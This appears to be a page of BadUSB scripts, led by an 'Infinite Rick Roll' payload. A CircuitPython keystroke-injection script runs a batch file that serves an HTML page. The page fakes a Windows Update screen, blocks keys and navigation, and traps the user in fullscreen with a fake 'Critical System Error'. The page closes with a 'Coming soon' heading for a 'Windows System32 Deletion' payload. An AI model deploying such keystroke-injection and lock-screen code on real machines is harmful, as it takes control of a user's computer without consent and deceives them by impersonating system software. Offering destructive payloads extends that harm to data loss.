Micropython Scripts for BadUSB

Infinite Rick Roll

GitHub

Opens a fake Windows Update screen, then launches Rick Astley in fullscreen with all keys blocked. Escaping triggers a fake "Critical System Error" that forces the user back in.

import time

import usb_hid

from adafruit_hid.keyboard import Keyboard

from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS

from adafruit_hid.keycode import Keycode



time.sleep(2)



kbd = Keyboard(usb_hid.devices)

layout = KeyboardLayoutUS(kbd)



# Open Run dialog

kbd.press(Keycode.WINDOWS, Keycode.R)

kbd.release_all()

time.sleep(0.6)



# Launch run.bat

layout.write("D:\\run.bat")

kbd.press(Keycode.ENTER)

kbd.release_all()



# Wait for browser to open and load the page

time.sleep(5)



# Press F to trigger autoplay + fullscreen (works without mouse focus)

kbd.press(Keycode.F)

kbd.release_all()
@echo off

cd /d D:\

start /b python -m http.server 8080

timeout /t 2 /nobreak >nul

start http://localhost:8080/rickroll.html
<!DOCTYPE html>

<html lang="en">

<head>

<meta charset="UTF-8">

<title>Important System Update</title>

<style>

  * { margin: 0; padding: 0; box-sizing: border-box; }

  body { background: #000; width: 100vw; height: 100vh; overflow: hidden; cursor: none; }

  #container { position: fixed; inset: 0; z-index: 9999; }

  iframe { width: 100%; height: 100%; border: none; display: block; pointer-events: none; }



  #trap {

    position: fixed; inset: 0; z-index: 999999;

    background: #0a0a0a; display: none;

    flex-direction: column; align-items: center; justify-content: center;

    font-family: 'Segoe UI', sans-serif; gap: 16px; cursor: pointer;

  }

  #trap.show { display: flex; }

  #trap .icon { font-size: 64px; }

  #trap h1 { color: #fff; font-size: 22px; font-weight: 600; }

  #trap p { color: #888; font-size: 14px; }

  #trap .btn {

    margin-top: 8px; background: #0078d4; color: #fff;

    border: none; padding: 10px 32px;

    font-size: 15px; border-radius: 4px; cursor: pointer;

  }



  #loader {

    position: fixed; inset: 0; background: #0a0a0a;

    z-index: 9999999; display: flex; flex-direction: column;

    align-items: center; justify-content: center;

    font-family: 'Segoe UI', sans-serif; color: #ccc; gap: 20px;

    transition: opacity 0.5s;

  }

  #loader .logo { font-size: 48px; font-weight: 700; color: #fff; letter-spacing: -2px; }

  #loader .logo span { color: #0078d4; }

  .spinner {

    width: 40px; height: 40px;

    border: 3px solid #333; border-top-color: #0078d4;

    border-radius: 50%; animation: spin 0.8s linear infinite;

  }

  @keyframes spin { to { transform: rotate(360deg); } }

  #loader p { font-size: 14px; color: #666; }

</style>

</head>

<body>



<div id="loader">

  <div class="logo">Windows<span>Update</span></div>

  <div class="spinner"></div>

  <p>Preparing critical security patch...</p>

</div>



<div id="trap" onclick="reenter()">

  <div class="icon">⚠️</div>

  <h1>Critical System Error</h1>

  <p>Update was interrupted. Click to continue.</p>

  <button class="btn">Continue Update</button>

</div>



<div id="container">

  <iframe id="yt" src="about:blank"

    allow="autoplay; fullscreen; encrypted-media"

    allowfullscreen>

  </iframe>

</div>



<script>

  let started = false;



  function blockKey(e) {

    if (!started && e.key === 'f') { init(); return; }

    e.preventDefault();

    e.stopImmediatePropagation();

    return false;

  }



  ['keydown', 'keyup', 'keypress'].forEach(ev => {

    document.addEventListener(ev, blockKey, true);

    window.addEventListener(ev, blockKey, true);

  });

  document.addEventListener('contextmenu', e => e.preventDefault(), true);



  history.pushState(null, '', location.href);

  window.addEventListener('popstate', () => history.pushState(null, '', location.href));



  function init() {

    if (started) return;

    started = true;

    document.getElementById('yt').src =

      'https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ?autoplay=1&controls=0&disablekb=1&fs=0&modestbranding=1&rel=0&iv_load_policy=3&loop=1&playlist=dQw4w9WgXcQ';

    document.documentElement.requestFullscreen?.();

    const loader = document.getElementById('loader');

    if (loader) { loader.style.opacity = '0'; setTimeout(() => loader.remove(), 500); }

  }



  function reenter() {

    document.getElementById('trap').classList.remove('show');

    document.documentElement.requestFullscreen?.();

  }



  document.addEventListener('fullscreenchange', () => {

    if (!document.fullscreenElement && started) {

      document.getElementById('trap').classList.add('show');

    } else {

      document.getElementById('trap')?.classList.remove('show');

    }

  });



  document.addEventListener('click', init, { once: true });

</script>

</body>

</html>

Windows System32 Deletion

Coming soon.